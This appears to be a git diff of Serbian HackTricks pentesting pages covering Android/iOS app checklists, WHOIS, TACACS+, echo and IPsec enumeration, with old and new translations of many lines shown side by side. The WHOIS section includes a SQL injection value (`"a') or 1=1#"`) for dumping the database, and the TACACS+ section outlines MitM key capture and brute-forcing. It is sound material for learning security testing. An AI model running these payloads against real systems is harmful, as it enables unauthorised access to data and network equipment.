* [ ] Proverite da li je aplikacija u debug režimu i pokušajte da je "iskoristite"
* [ ] Proverite da li APK dozvoljava rezervne kopije
* [ ] Izložene aktivnosti
* [ ] Izveštaj o aktivnostima
* [ ] Provajderi sadržaja
* [ ] Izloženi servisi
* [ ] Broadcast prijemnici
* [ ] URL šeme
* [ ] Da li aplikacija [nebezbedno čuva podatke interno ili eksterno](android-app-pentesting/#insecure-data-storage)?
* [ ] Da li postoji [šifra hardkodirana ili sačuvana na disku](android-app-pentesting/#poorkeymanagementprocesses)? Da li aplikacija [koristi nebezbedne kripto algoritme](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] Da li aplikacija [nesigurno čuva podatke interno ili eksterno](android-app-pentesting/#insecure-data-storage)?
* [ ] Da li postoji [šifra hardkodirana ili sačuvana na disku](android-app-pentesting/#poorkeymanagementprocesses)? Da li aplikacija [koristi nesigurne kripto algoritme](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] Da li su sve biblioteke kompajlirane koristeći PIE flag?
* [ ] Ne zaboravite da postoji mnoštvo [statičkih Android analizatora](android-app-pentesting/#automatic-analysis) koji vam mogu dosta pomoći tokom ove faze.
### [Dinamička analiza](android-app-pentesting/#dynamic-analysis)
* [ ] Pripremite okruženje ([online](android-app-pentesting/#online-dynamic-analysis), [lokalni VM ili fizički](android-app-pentesting/#local-dynamic-analysis))
* [ ] Da li postoji [neželjeno curenje podataka](android-app-pentesting/#unintended-data-leakage) (logovanje, kopiranje/lepljenje, crash logovi)?
* [ ] Da li postoji [neželjeno curenje podataka](android-app-pentesting/#unintended-data-leakage) (logovanje, kopiranje/lepljenje, dnevnički zapisi o padu)?
* [ ] Da li se [poverljive informacije čuvaju u SQLite bazama podataka](android-app-pentesting/#sqlite-dbs)?
* [ ] [Iskorišćive izložene aktivnosti](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
* [ ] [Iskorišćivi provajderi sadržaja](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
@ -66,7 +66,7 @@
* [ ] [Iskorišćivi broadcast prijemnici](android-app-pentesting/#exploiting-broadcast-receivers)?
* [ ] Da li aplikacija [prebacuje informacije u čistom tekstu/koristi slabe algoritme](android-app-pentesting/#insufficient-transport-layer-protection)? Da li je moguć MitM napad?
* [ ] [Inspekcija HTTP/HTTPS saobraćaja](android-app-pentesting/#inspecting-http-traffic)
* [ ] Ovo je veoma važno, jer ako možete uhvatiti HTTP saobraćaj, možete tražiti uobičajene Web ranjivosti (Hacktricks ima puno informacija o Web ranjivostima).
* [ ] Ovo je veoma važno, jer ako možete da uhvatite HTTP saobraćaj, možete tražiti uobičajene Web ranjivosti (Hacktricks ima dosta informacija o Web ranjivostima).
* [ ] Proverite moguće [Android injekcije sa klijentske strane](android-app-pentesting/#android-client-side-injections-and-others) (verovatno će vam pomoći neka statička analiza koda)
* [ ] [Frida](android-app-pentesting/#frida): Samo Frida, koristite je da biste dobili zanimljive dinamičke podatke iz aplikacije (možda neke šifre...)
@ -77,7 +77,7 @@
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -85,7 +85,7 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -24,7 +24,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -34,7 +34,7 @@ Drugi načini podrške HackTricks-u:
* [ ] Pročitajte [**iOS Osnove**](ios-pentesting/ios-basics.md)
* [ ] Pripremite svoje okruženje čitajući [**iOS Testno Okruženje**](ios-pentesting/ios-testing-environment.md)
* [ ] Pročitajte sve sekcije [**iOS Početna Analiza**](ios-pentesting/#initial-analysis) da biste naučili uobičajene akcije za testiranje penetracije iOS aplikacije
* [ ] Pročitajte sve sekcije [**iOS Početna Analiza**](ios-pentesting/#initial-analysis) da biste naučili uobičajene radnje za testiranje sigurnosti iOS aplikacije
### Skladištenje Podataka
@ -57,12 +57,12 @@ Drugi načini podrške HackTricks-u:
### **Logovi**
* [ ] Proverite da li se [**osetljive informacije beleže u logovima**](ios-pentesting/#logs)
* [ ] Proverite da li se [**sačuvavaju osetljive informacije u logovima**](ios-pentesting/#logs)
### Bekapovi
### Bekapi
* [ ] [**Bekapovi**](ios-pentesting/#backups) se mogu koristiti za **pristupanje osetljivim informacijama** sačuvanim u fajl sistemu (proverite početnu tačku ovog checklista)
* [ ] Takođe, [**bekapovi**](ios-pentesting/#backups) se mogu koristiti za **modifikaciju nekih konfiguracija aplikacije**, zatim **vratiti** bekup na telefon, i pošto se **modifikovana konfiguracija** učita, neka (bezbednosna) **funkcionalnost** može biti **zaobiđena**
* [ ] [**Bekapi**](ios-pentesting/#backups) se mogu koristiti za **pristup osetljivim informacijama** sačuvanim u fajl sistemu (proverite početnu tačku ovog ček-liste)
* [ ] Takođe, [**bekapi**](ios-pentesting/#backups) se mogu koristiti za **modifikaciju nekih konfiguracija aplikacije**, zatim **vratiti** bekapi na telefon, i pošto se **modifikovana konfiguracija** učita, neka (sigurnosna) **funkcionalnost** može biti **zaobiđena**
### **Memorija Aplikacije**
@ -77,24 +77,24 @@ Drugi načini podrške HackTricks-u:
### **Lokalna Autentikacija**
* [ ] Ako se koristi [**lokalna autentikacija**](ios-pentesting/#local-authentication) u aplikaciji, treba proveriti kako autentikacija funkcioniše.
* [ ] Ako se koristi [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework) može se lako zaobići
* [ ] Ako se koristi [**Lokalni Autentikacioni Okvir**](ios-pentesting/#local-authentication-framework) može se lako zaobići
* [ ] Ako se koristi [**funkcija koja može dinamički biti zaobiđena**](ios-pentesting/#local-authentication-using-keychain) možete kreirati prilagođeni frida skriptu
### Izloženost Osetljive Funkcionalnosti Putem IPC
* [**Prilagođeni URI handleri / Duboki linkovi / Prilagođene šeme**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [**Prilagođeni URI Handleri / Duboki Linkovi / Prilagođene Šeme**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
* [ ] Proverite da li aplikacija **registruje neki protokol/šemu**
* [ ] Proverite da li aplikacija **registruje korišćenje** nekog protokola/šeme
* [ ] Proverite da li aplikacija **očekuje da primi bilo kakvu vrstu osetljivih informacija** putem prilagođene šeme koju može **interceptovati** druga aplikacija koja registruje istu šemu
* [ ] Proverite da li aplikacija **ne proverava i ne čisti** korisnički unos putem prilagođene šeme i neka **ranjivost može biti iskorišćena**
* [ ] Proverite da li aplikacija **ne proverava i ne čisti** korisnički unos putem prilagođene šeme i neka se **iskoristi neka ranjivost**
* [ ] Proverite da li aplikacija **izlaže bilo koju osetljivu akciju** koja može biti pozvana sa bilo kog mesta putem prilagođene šeme
* [**Univerzalni Linkovi**](ios-pentesting/#universal-links)
* [ ] Proverite da li aplikacija **registruje neki univerzalni protokol/šemu**
* [ ] Proverite fajl `apple-app-site-association`
* [ ] Proverite da li aplikacija **ne proverava i ne čisti** korisnički unos putem prilagođene šeme i neka **ranjivost može biti iskorišćena**
* [ ] Proverite da li aplikacija **ne proverava i ne čisti** korisnički unos putem prilagođene šeme i neka se **iskoristi neka ranjivost**
* [ ] Proverite da li aplikacija **izlaže bilo koju osetljivu akciju** koja može biti pozvana sa bilo kog mesta putem prilagođene šeme
* [**UIActivity Deljenje**](ios-pentesting/ios-uiactivity-sharing.md)
* [ ] Proverite da li aplikacija može primiti UIActivities i da li je moguće iskoristiti bilo koju ranjivost sa posebno kreiranim aktivnostima
* [ ] Proverite da li aplikacija može primiti UIActivities i da li je moguće iskoristiti neku ranjivost sa posebno kreiranim aktivnostima
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
* [ ] Proverite da li aplikacija **kopira nešto u opšti pasteboard**
* [ ] Proverite da li aplikacija **koristi podatke iz opšteg pasteboard-a za bilo šta**
@ -105,7 +105,7 @@ Drugi načini podrške HackTricks-u:
* [ ] Proverite koje vrste webview-ova se koriste
* [ ] Proverite status **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
* [ ] Proverite da li webview može **pristupiti lokalnim fajlovima** sa protokolom **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
* [ ] Proverite da li Javascript može pristupiti **nativnim metodama** (`JSContext`, `postMessage`)
* [ ] Proverite da li JavaScript može pristupiti **Nativnim** **metodama** (`JSContext`, `postMessage`)
### Komunikacija putem mreže
* [ ] Izvršite [**MitM napad na komunikaciju**](ios-pentesting/#network-communication) i potražite web ranjivosti.
@ -119,7 +119,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -129,10 +129,10 @@ Drugi načini podrške HackTricks-u:
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
@ -140,7 +140,7 @@ Drugi načini podrške HackTricks-u:
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
Dobijte pristup danas:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -4,9 +4,9 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,7 +22,7 @@ Drugi načini podrške HackTricks-u:
# Osnovne Informacije
**WHOIS** protokol služi kao standardna metoda za **upit o registrovanima ili vlasnicima različitih internet resursa** putem specifičnih baza podataka. Ovi resursi obuhvataju domenska imena, blokove IP adresa, autonomne sisteme, među ostalima. Pored toga, protokol se koristi za pristup širem spektru informacija.
Protokol **WHOIS** služi kao standardna metoda za **upit o registrovanim ili nosiocima različitih internet resursa** putem specifičnih baza podataka. Ovi resursi obuhvataju imena domena, blokove IP adresa, autonomne sisteme, među ostalima. Pored toga, protokol se koristi za pristup širem spektru informacija.
**Podrazumevani port:** 43
```
@ -36,11 +36,11 @@ Dobijte sve informacije koje whois servis ima o domenu:
whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT>
```
Primetite da se ponekad prilikom zahteva za informacijama WHOIS servis koristi baza podataka koja se koristi u odgovoru:
Primetite da se ponekad prilikom zahteva za informacijama WHOIS servisu u odgovoru pojavljuje baza podataka koja se koristi:
![](<../.gitbook/assets/image (147).png>)
Takođe, WHOIS servis uvek mora koristiti **bazu podataka** za čuvanje i izvlačenje informacija. Stoga, moguća **SQLInjection** ranjivost može biti prisutna prilikom **upita** baze podataka na osnovu informacija koje je pružio korisnik. Na primer, izvršavanjem komande: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` mogli biste **izvući sve** informacije sačuvane u bazi podataka.
Takođe, WHOIS servis uvek mora koristiti **bazu podataka** za skladištenje i izvlačenje informacija. Stoga, moguć je **SQLInjection** prilikom **upita** baze podataka na osnovu informacija koje je korisnik pružio. Na primer, izvršavanjem komande: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` mogli biste **izvući sve** informacije sačuvane u bazi podataka.
# Shodan
@ -48,7 +48,7 @@ Takođe, WHOIS servis uvek mora koristiti **bazu podataka** za čuvanje i izvla
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -76,9 +76,9 @@ Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 4
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
Drugi načini da podržite HackTricks:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -1,6 +1,30 @@
# Osnovne informacije
# 49 - Pentesting TACACS+
Protokol **Terminal Access Controller Access Control System (TACACS)** koristi se za centralnu validaciju korisnika koji pokušavaju da pristupe ruterima ili serverima za pristup mreži (NAS). Njegova unapređena verzija, **TACACS+**, razdvaja usluge na autentifikaciju, autorizaciju i knjigovodstvo (AAA).
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Osnovne informacije
Protokol **Terminal Access Controller Access Control System (TACACS)** se koristi za centralnu validaciju korisnika koji pokušavaju da pristupe ruterima ili Serverima za pristup mreži (NAS). Njegova unapređena verzija, **TACACS+**, razdvaja usluge na autentifikaciju, autorizaciju i knjigovodstvo (AAA).
```
PORT STATE SERVICE
49/tcp open tacacs
@ -9,7 +33,7 @@ PORT STATE SERVICE
## Presretanje autentifikacionog ključa
Ako komunikacija između klijenta i TACACS servera bude presretnuta od strane napadača, **šifrovani autentifikacioni ključ može biti presretnut**. Napadač može zatim pokušati **lokalni napad grubom silom na ključu bez detektovanja u logovima**. Ukoliko uspe u grubom silovanju ključa, napadač dobija pristup mrežnoj opremi i može dešifrovati saobraćaj koristeći alate poput Wireshark-a.
Ako komunikacija između klijenta i TACACS servera bude presretnuta od strane napadača, **šifrovani autentifikacioni ključ može biti presretnut**. Napadač može zatim pokušati **lokalni napad grubom silom na ključu bez otkrivanja u logovima**. Ukoliko uspe u grubom silovanju ključa, napadač dobija pristup mrežnoj opremi i može dešifrovati saobraćaj koristeći alate poput Wireshark-a.
### Izvođenje MitM napada
@ -22,9 +46,9 @@ Ako komunikacija između klijenta i TACACS servera bude presretnuta od strane na
sudo loki_gtk.py
```
### Dekriptovanje saobraćaja
Kada se ključ uspešno probio, sledeći korak je dekriptovanje TACACS-enkriptovanog saobraćaja. Wireshark može obraditi enkriptovan TACACS saobraćaj ako je ključ obezbeđen. Analizom dekriptovanog saobraćaja, mogu se dobiti informacije poput banera koji se koristi i korisničkog imena admin korisnika.
Kada se ključ uspešno probio, sledeći korak je **dekriptovanje TACACS-enkriptovanog saobraćaja**. Wireshark može obraditi enkriptovan TACACS saobraćaj ako je ključ obezbeđen. Analizom dekriptovanog saobraćaja, mogu se dobiti informacije poput **banera koji se koristi i korisničkog imena admin korisnika**.
Pristupom kontrolnoj tabli mrežne opreme korišćenjem dobijenih akreditiva, napadač može preuzeti kontrolu nad mrežom. Važno je napomenuti da su ove radnje isključivo u edukativne svrhe i ne bi trebalo da se koriste bez odgovarajuće autorizacije.
Dobijanjem pristupa kontrolnoj tabli mrežne opreme korišćenjem dobijenih akreditiva, napadač može preuzeti kontrolu nad mrežom. Važno je napomenuti da su ove radnje isključivo u edukativne svrhe i ne bi trebalo da se koriste bez odgovarajuće autorizacije.
## Reference
@ -32,7 +56,7 @@ Pristupom kontrolnoj tabli mrežne opreme korišćenjem dobijenih akreditiva, na
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -4,7 +4,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -14,20 +14,20 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
# Osnovne Informacije
# Osnovne informacije
Na ovom hostu radi usluga eha. Usluga eha je namenjena za testiranje i merenje i može slušati i na TCP i UDP protokolima. Server vraća bilo koje podatke koje primi, bez modifikacija.\
**Moguće je izazvati denial of service povezivanjem eho usluge sa eho uslugom na istom ili drugom računaru**. Zbog prekomernog broja paketa koji se proizvode, pogođeni računari mogu biti efikasno isključeni iz upotrebe.\
Na ovom hostu radi usluga eha. Usluga eha je namenjena testiranju i merenju i može slušati i TCP i UDP protokole. Server vraća bilo koje podatke koje primi, bez modifikacija.\
**Moguće je izazvati odbijanje usluge povezivanjem usluge eha sa uslugom eha na istom ili drugom računaru**. Zbog prekomernog broja paketa proizvedenih, pogođeni računari mogu biti efikasno isključeni iz upotrebe.\
Informacije sa [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**Podrazumevani Port:** 7/tcp/udp
**Podrazumevani port:** 7/tcp/udp
```
PORT STATE SERVICE
7/udp open echo
@ -52,7 +52,7 @@ Hello echo #This is the response
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -16,13 +16,13 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Osnovne Informacije
## Osnovne informacije
**IPsec** je široko prepoznat kao glavna tehnologija za obezbeđivanje komunikacije između mreža (LAN-to-LAN) i od udaljenih korisnika do mrežnog pristupnog čvora (udaljeni pristup), služeći kao osnova za rešenja preduzeća za VPN.
@ -30,7 +30,7 @@ Uspostavljanje **bezbednosne asocijacije (SA)** između dve tačke upravlja **IK
- **Faza 1:** Bezbedan kanal se kreira između dve tačke. To se postiže korišćenjem Pre-Shared Key (PSK) ili sertifikata, koristeći ili glavni režim, koji uključuje tri para poruka, ili **agresivni režim**.
- **Faza 1.5:** Iako nije obavezna, ova faza, poznata kao Faza Proširene Autentifikacije, proverava identitet korisnika koji pokušava da se poveže zahtevajući korisničko ime i lozinku.
- **Faza 2:** Ova faza je posvećena pregovaranju parametara za obezbeđivanje podataka sa **ESP** i **AH**. To omogućava korišćenje algoritama različitih od onih u Fazi 1 kako bi se osigurala **Savršena Progresivna Tajnost (PFS)**, poboljšavajući bezbednost.
- **Faza 2:** Ova faza je posvećena pregovaranju parametara za obezbeđivanje podataka sa **ESP** i **AH**. To omogućava korišćenje algoritama različitih od onih u Fazi 1 kako bi se osigurala **Savršena Napredna Tajnost (PFS)**, poboljšavajući bezbednost.
**Podrazumevani port:** 500/udp
@ -47,9 +47,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Pronalaženje validne transformacije**
IPSec konfiguracija može biti podešena da prihvati samo jednu ili nekoliko transformacija. Transformacija je kombinacija vrednosti. **Svaka transformacija** sadrži nekoliko atributa kao što su DES ili 3DES kao **algoritam za enkripciju**, SHA ili MD5 kao **algoritam za integritet**, prethodno deljeni ključ kao **tip autentikacije**, Diffie-Hellman 1 ili 2 kao algoritam za distribuciju ključa i 28800 sekundi kao **životni vek**.
IPSec konfiguracija može biti podešena da prihvati samo jednu ili nekoliko transformacija. Transformacija je kombinacija vrednosti. **Svaka transformacija** sadrži broj atributa kao što su DES ili 3DES kao **algoritam šifrovanja**, SHA ili MD5 kao **algoritam celovitosti**, prethodno deljeni ključ kao **tip autentikacije**, Diffie-Hellman 1 ili 2 kao algoritam **distribucije ključa** i 28800 sekundi kao **životni vek**.
Prvo što treba da uradite jeste da **pronađete validnu transformaciju**, kako bi server komunicirao sa vama. Za to možete koristiti alat **ike-scan**. Podrazumevano, Ike-scan radi u glavnom režimu i šalje paket ka pristupnoj tački sa ISAKMP zaglavljem i jednim predlogom sa **osam transformacija unutar njega**.
Zatim, prva stvar koju morate uraditi je **pronaći validnu transformaciju**, tako da će server komunicirati sa vama. Za to možete koristiti alat **ike-scan**. Podrazumevano, Ike-scan radi u glavnom režimu i šalje paket ka pristupnoj tački sa ISAKMP zaglavljem i jednim predlogom sa **osam transformacija unutar njega**.
Na osnovu odgovora možete dobiti informacije o krajnjoj tački:
```
@ -67,15 +67,15 @@ Kao što možete videti u prethodnom odgovoru, postoji polje nazvano **AUTH** sa
* _0 returned handshake; 0 returned notify:_ Ovo znači da meta nije **IPsec gateway**.
* _**1 returned handshake; 0 returned notify:**_ Ovo znači da je **meta konfigurisana za IPsec i spremna je da izvrši IKE pregovore, i da je jedan ili više transformacija koje ste predložili prihvatljivo** (važeća transformacija će biti prikazana u izlazu).
